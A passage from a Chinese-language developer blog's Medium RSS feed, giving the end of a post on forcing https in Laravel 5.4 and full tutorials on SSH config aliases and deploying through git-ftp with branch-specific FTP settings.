apache conf 有設定錯誤的地方</p><h3>Route 閒談</h3><p>由於有需要在 80 port 中把網址的 protocol 從 http改寫成 https的狀況，雖然可以直接從 .htaccess強制 redirect，但我還是想測一下 laravel 的極限。（好啦就愛浪費人生）</p><p>在 <a href="https://laravel.com/docs/5.4/helpers#method-secure-url">URL Helper</a> 當中，可以使用 secure_url(https://medium.com/&#39;url&#39;,%20$param_array) 來取得 https url，但筆者喜歡寫明 controller action ，較為明確，其他 url 的 helper：action 、route 都是沒辦法指定改為 https 的，需要想其他的解決方案。</p><p>大家都會下意識想到可以用一層 middleware 去 rewrite url，但筆者覺得這樣不是很完美</p><blockquote>能不能略過註冊 middleware，直接全部都套用 https 就好了嗎？</blockquote><p>剛好在翻 url source code 實作的時候，找到一個方法：</p><pre>URL::forceSchema(‘https’);<br>//強制改寫 protocol，可以選擇 http 或 https</pre><p>所以在 App\Providers\AppServiceProvider中先判斷 config/app.php 的 url 是設定為 https 或 http （正確來說是 .env中的 APP_URL 變數），再透過 URL::forceSchema 來改寫 protocol，這樣所有 url helper、route config 或跟 url generator 有相關的都會被套用了</p><pre>use Illuminate\Support\Facades\URL;<br>...<br>public function boot()<br>{<br>  $protocol = Str::startsWith(config(‘app.url’), ‘<a href="https://&/#39;">https://’</a>) ?     ‘https’ : ‘http’;<br>  URL::forceScheme($protocol);<br>}</pre><p>讀者若有興趣研究 url 實作的話，可以至以下網址了解 UrlGenerator<br><a href="https://github.com/laravel/framework/blob/5.4/src/Illuminate/Routing/UrlGenerator.php">https://github.com/laravel/framework/blob/5.4/src/Illuminate/Routing/UrlGenerator.php</a></p><p>多看 source code 有益身心， laravel 的 source code 都好美啊～</p><p>有任何問題與建議非常歡迎讀者一起討論 :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b7d1ad938af" width="1" height="1" alt=""><hr><p><a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/laravel-5-4-on-apache-%E5%9C%A8-apache-%E6%9E%B6-laravel-%E7%B6%B2%E7%AB%99-9b7d1ad938af">Laravel 5.4 On Apache：在 Apache 架 Laravel 網站</a> was originally published in <a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8">浦島太郎的水族缸</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to setup SSH config ：使用 SSH 設定檔簡化指令與連線網址]]></title>
            <link>https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/how-to-setup-ssh-config-%E4%BD%BF%E7%94%A8-ssh-%E8%A8%AD%E5%AE%9A%E6%AA%94-74ad46f99818?source=rss-29c0e7f915f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/74ad46f99818</guid>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[config]]></category>
            <category><![CDATA[ssh-alias]]></category>
            <category><![CDATA[ssh-config]]></category>
            <dc:creator><![CDATA[awonwon]]></dc:creator>
            <pubDate>Mon, 27 Feb 2017 21:20:53 GMT</pubDate>
            <atom:updated>2019-05-19T10:48:03.051Z</atom:updated>
            <content:encoded><![CDATA[<p>以前用 win 7 的時候要 clone git repository，不知怎麼著吃不到 id_rsa 以外的 key，索性用 SSH config 設定 alias 解決這件事，設定也非常簡單，試用了 config 後筆者認為好處有這些：</p><ul><li>SSH 連線抓不到 id_rsa 以外的 key</li><li>懶得每次都要加上 pem 檔路徑</li><li>不想讓 SSH指令上顯示 pem 檔路徑，譬如像跑 CI 測試時，大家都可以看到 repo 上的 test 動作與指令，用 alias 取代 pem 檔的路徑</li><li>git repository 的 host 有可能變動</li><li>有兩個以上不同 email 的 SSH key 需要管理</li></ul><p>那就開始設定 step by step 吧！</p><h3>第一步</h3><p>首先，在 ~/.ssh 下新增 config 檔案，不需任何副檔名</p><h3>第二步</h3><p>在新增的檔案裡加上你的第一個 SSH config</p><pre>Host alias-name                      # 用來連線的 alias 名稱<br>HostName server.name                 # host domain 或 ip<br>Port port-number                     # host 的 SSH port<br>IdentitiesOnly yes                   # 使用指定的 key<br>IdentityFile ~/.ssh/private_ssh_file # 指定 pem 或 pub 的 key 路徑<br>User username-on-remote-machine      # (選填)登入 SSH 的 username，<br>                                     #  只連 git 的話，可以不必要<br>ForwardX11 yes                       # (選填) 啟用回傳 GUI </pre><p>譬如真正 config 像這樣：</p><pre>Host gitlab<br>Hostname <a href="http://www.awonwon.com/">www.awonwon.com</a><br>IdentityFile ~/.ssh/gitlab<br>IdentitiesOnly yes<br>Port 22<br>User git<br>ForwardX11 yes</pre><h3>第三步</h3><p>開始使用 alias 來 SSH 連線</p><p>使用範例（alias-name 跟 user-name 自行代入唷）：</p><ul><li>基本 SSH 連線</li></ul><pre>$ ssh alias-name</pre><ul><li>SSH 連線再附加其他指令</li></ul><pre>$ ssh alias-name mkdir wahaha</pre><ul><li>scp 指定 SSH name</li></ul><pre>$ scp -r ./ alias-name:/var/www/html/project/</pre><ul><li>git clone repositroy 時，使用 alias ssh url，<a href="https://git-scm.com/book/en/v2/Git-on-the-Server-The-Protocols">git url </a>有兩種表示法，而如果 config 有設定 user 就不用加上 user-name，下面一併附上不加 user 的寫法</li></ul><pre>第一種含 ssh protocol<br>$ git clone ssh://alias-name/project.git<br>$ git clone ssh://user-name@alias-name/project.git</pre><pre>第二種(推薦，較簡潔)<br>$ git clone alias-name:project.git<br>$ git clone user-name@alias-name:project.git</pre><p>如果出現以下錯誤訊息：</p><pre>Bad owner or permissions on /home/user/.ssh/config</pre><p>請將 config 檔案設置比較小的權限：</p><pre>$ chmod 600 config</pre><p>剩下的就交由讀者自由發揮囉！</p><p>因為我用的設定不多，有需要可以參考 man page 更多的設定：<br><a href="https://linux.die.net/man/5/ssh_config">https://linux.die.net/man/5/ssh_config</a></p><p>噢，天啊！我真的達成一個月一篇文章了（雖然現在也才第二個月），希望繼續保持啊哈哈～～</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74ad46f99818" width="1" height="1" alt=""><hr><p><a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/how-to-setup-ssh-config-%E4%BD%BF%E7%94%A8-ssh-%E8%A8%AD%E5%AE%9A%E6%AA%94-74ad46f99818">How to setup SSH config ：使用 SSH 設定檔簡化指令與連線網址</a> was originally published in <a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8">浦島太郎的水族缸</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use git-ftp： 使用 git-ftp 管理你的 FTP]]></title>
            <link>https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/how-to-use-git-ftp-%E4%BD%BF%E7%94%A8-git-ftp-%E7%AE%A1%E7%90%86%E4%BD%A0%E7%9A%84-ftp-1864700c6eb9?source=rss-29c0e7f915f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/1864700c6eb9</guid>
            <category><![CDATA[git]]></category>
            <category><![CDATA[ftp]]></category>
            <category><![CDATA[git-ftp]]></category>
            <dc:creator><![CDATA[awonwon]]></dc:creator>
            <pubDate>Wed, 18 Jan 2017 19:09:30 GMT</pubDate>
            <atom:updated>2017-07-08T15:03:33.079Z</atom:updated>
            <content:encoded><![CDATA[<p>有鑑於 ftp server 在沒有 CI 的輔助下，常常在開發專案的時候不小心覆蓋到對方也正在處裡的檔案，如果本身有另外用 git 做版控還可以挽救，但若還加上正式與測試的 ftp server，一覆蓋到重要檔案，沒有 CI 的情況下或遇到豬隊友真的是欲哭無淚吶QQ</p><p>推薦適用狀況：</p><ul><li>server 沒有 shell 可用，只有 ftp deploy 這條路</li><li>上線中的 server 沒有 shell 也沒有 CI 可以確保手動 deploy 的檔案後會正常運作</li><li>常常跟隊友互蓋檔案蓋到天荒地老，而大家剛好會些 git</li><li>常常不小心蓋歪正式與測試 server 的檔案</li></ul><p>本文將介紹 <a href="https://github.com/git-ftp/git-ftp">git-ftp</a> 這套件來管理你 ftp 上的專案， 而當然專案必須先有 git 版控的狀況下才能使用 <a href="https://github.com/git-ftp/git-ftp">git-ftp</a> 囉。</p><pre><strong>git-ftp 的 github 網址</strong><br><a href="https://github.com/git-ftp/git-ftp">https://github.com/git-ftp/git-ftp</a></pre><h3>安裝</h3><pre><strong>osx/unix/windows 的安裝文件</strong><br><a href="https://github.com/git-ftp/git-ftp/blob/master/INSTALL.md">https://github.com/git-ftp/git-ftp/blob/master/INSTALL.md</a></pre><p>筆者作業系統是 windows，以下只介紹 windows 版本的安裝啦。</p><p>它能用 cygwin 或 msysgit 的 curl 來安裝本套件，而 msysgit 是基於 mintty 的一款 console，所以我想 mintty 應該也是可以安裝的，或 babun console 也行。<br>在你的 console 當中輸入以下指令：</p><pre>$ curl <a href="https://raw.githubusercontent.com/git-ftp/git-ftp/develop/git-ftp">https://raw.githubusercontent.com/git-ftp/git-ftp/develop/git-ftp</a> &gt; /bin/git-ftp<br>$ chmod +x /bin/git-ftp</pre><pre>note:<strong><br></strong>&quot;/bin/&quot; 通常是放讀取指令的位置，而在 msysgit 中的 &quot;/bin/&quot; 相等於 &quot;C:\Program Files\Git\usr\bin\&quot;</pre><p>安裝後檢查一下有沒有裝成功。</p><pre>$ git-ftp -h</pre><h3>初始化</h3><p>假設這次 ftp 專案資訊如下：</p><ul><li>url: ftp://127.0.0.1/project/dowob</li><li>account: dev</li><li>password:1234</li></ul><p>首先初始化讓 git-ftp 檢查 ftp commit 是否存在，同步的檔案有哪些：</p><pre>$ git ftp init -u dev -p 1234 ftp://127.0.0.1/dowob</pre><pre>note:<br>-u: user<br>-p: password<br>注意這邊指令不是 git-ftp 唷!</pre><p>如果沒有找到 ftp 上的 .git-ftp.log 就會顯示以下訊息，並開始上傳檔案：</p><pre>fatal: Commit found, use ‘git ftp push’ to sync. Exiting…</pre><p>如果原本就有 .git-ftp.log 不想同步檔案的話，可以加上 -D ( — dry-run) 選項，不做任何 upload 或 delete，只檢查 .git-ftp.log ：</p><pre>$ git ftp init -D -u dev -p 1234 ftp://127.0.0.1/dowob</pre><p>但最後 ftp 上 commit 還是對不起來的話，往後再 push 時還是會要求你全部同步檔案唷！</p><h3>設定 ftp config</h3><p>為了不要每次 push 到 ftp 都要輸入帳密與網址，所以初始化完就要來把剛剛的資訊加入至 .gitconfig 中：</p><pre>$ git config git-ftp.url ftp://127.0.0.1/project/dowob</pre><p>在 .gitconfig 就會多出如下 git-ftp 的設定資訊，可以用 git config -e 來查看。</p><pre>[git-ftp]<br> url = ftp://127.0.0.1/project/dowob</pre><p>接著再加上其他資訊設定：</p><ul><li>account &amp; password</li></ul><pre>$ git config git-ftp.user dev<br>$ git config git-ftp.password 1234</pre><ul><li>指定本地端要上傳的資料夾</li></ul><pre>$ git config git-ftp.syncroot ./dowob/assets</pre><p>最後 .gitconfig 就會變成如下：</p><pre>[git-ftp]<br> url = ftp://127.0.0.1/project/dowob<br> user = dev<br> password = 1234<br> syncroot = ./dowob/assets</pre><p>下一步就可以 push 到 ftp 了。</p><pre>$ git ftp push</pre><pre>note:<br>- git push 跟 git ftp push 是不一樣的唷！<br>  前者僅是 push 到 git server，後者是 push 到 ftp server<br>- 如果跑完 buffer 後發現 upload 超級久的話，有可能是上傳 url不對</pre><p>這樣最基本的 git-ftp 功能與設定就完成啦，接下來會針對不同 ftp push 檔案介紹使用與分享使用的小技巧。</p><h3>設定 scope ftp config</h3><p>由於會遇到要 push 到多個 ftp 上的情況，譬如：master branch 要 push 到 A ftp，而 develop branch 要 push 到 B ftp，就會非常需要 scope 這功能。</p><p>在原本剛剛設定 config 的步驟加上 scope 名稱，</p><pre>$ git config git-ftp[.scope].url ftp://127.0.0.1/</pre><p>例如：</p><pre>$ git config git-ftp.develop.url ftp://127.0.0.1/project/dowob</pre><p>照先前的步驟實作後 config 會長這樣：</p><pre>[git-ftp “develop”]<br> user = dev<br> password = 1234<br> syncroot = ./dowob/assets<br> url = ftp://127.0.0.1/project/dowob</pre><p>最後執行 push 時加上- s 選項，就會指定用剛剛建立的 develop scope ，依據設定上傳到 ftp，</p><pre>$ git ftp push -s develop</pre><p>不過這樣每次建立一個 ftp 資訊就要一直輸入指令太麻煩了，接著分享使用之後筆者認為推薦的做法 :)</p><h3>推薦做法</h3><p>直接在 .gitconfig 中寫好設定，直接使用設定檔去做初始化。</p><ul><li>打開 .gitconfig （或直接到 .git 資料夾下修改此檔案）</li></ul><pre>$ git config -e</pre><ul><li>在 .gitconfig 尾端新增以下 snippet：</li></ul><pre>[git-ftp “develop”]<br> user = dev<br> password = 1234<br> url = ftp://127.0.0.1/project/<br>[git-ftp “master”]<br> user = official<br> password = 5678<br> url = ftp://127.0.0.2/htdocs/</pre><p>接者初始化 scope 與 push。</p><pre>$ git ftp init -s [scope]<br>$ git ftp push -s [scope]</pre><p>如此一來就可在不同 branch 選擇要 push 到哪個 server 囉！</p><p>嫌 git ftp push -s [scope] 這串太長的話，可以再設定 git alias 讓指令短一點啦，畢竟上傳 code 一次要輸入 git push 跟 git ftp push 有點多啊～</p><p>最後筆者認為 git-ftp 雖然多一道指令多一道工，不過好處是它可以利用 git 版控的功能，根據 commit 做環原，從 git 還原 commit 後再 push 就可以了，不需仰賴工人智慧，一有大功能要更新就是很多檔案，還要去追蹤 commit 看哪個檔案有更新再丟到 ftp，也不用擔心 ftp remote 同步會亂傳檔案上去，也同時確保在 ftp 上的檔案版本都是雙方可以從 git pull 抓到，並事先做 git rebase，檢查有無 conflit，非常適合搭配被分為這兩種的開發模式：本地端是自己的開發與 debug 的環境，ftp server 是可運行版本的開發環境，解決蓋歪別人檔案的狀況。</p><p>另外一點算是 git-ftp 彈性的地方，有好有壞，它是透過 .git-ftp.log 中的 commit sha1 來判定目前 ftp 跟本地端 head commit sha1 的差異來做更新，所以如果不在版控範圍或你自己偷偷覆蓋某些檔案，其實 git-ftp 也不會發現，它只會依據 commit 的紀錄做檔案更新，不會整個 ftp folder 被做版控，再加上 .git-ftp-ignore 能忽略 push 的檔案類型，彈性蠻大的，但壞處是當你今天只有 push 到 ftp 而沒有到 git server，那夥伴 push 到 ftp 時就會讓 git-ftp 找不到你 commit sha1 的狀況而不給 push 或被要求全部同步一次。</p><p>現在就變成偶爾會遇到找不到 sha1 commit 的狀況，忘記 push 到 git server 上，不過比起來把線上的重要程式碼蓋掉這件事，git-ftp 實在棒極了！</p><p><strong>git-ftp 更多使用說明</strong></p><p><a href="https://github.com/git-ftp/git-ftp/blob/master/man/git-ftp.1.md">git-ftp/git-ftp</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1864700c6eb9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/how-to-use-git-ftp-%E4%BD%BF%E7%94%A8-git-ftp-%E7%AE%A1%E7%90%86%E4%BD%A0%E7%9A%84-ftp-1864700c6eb9">How to use git-ftp： 使用 git-ftp 管理你的 FTP</a> was originally published in <a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8">浦島太郎的水族缸</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>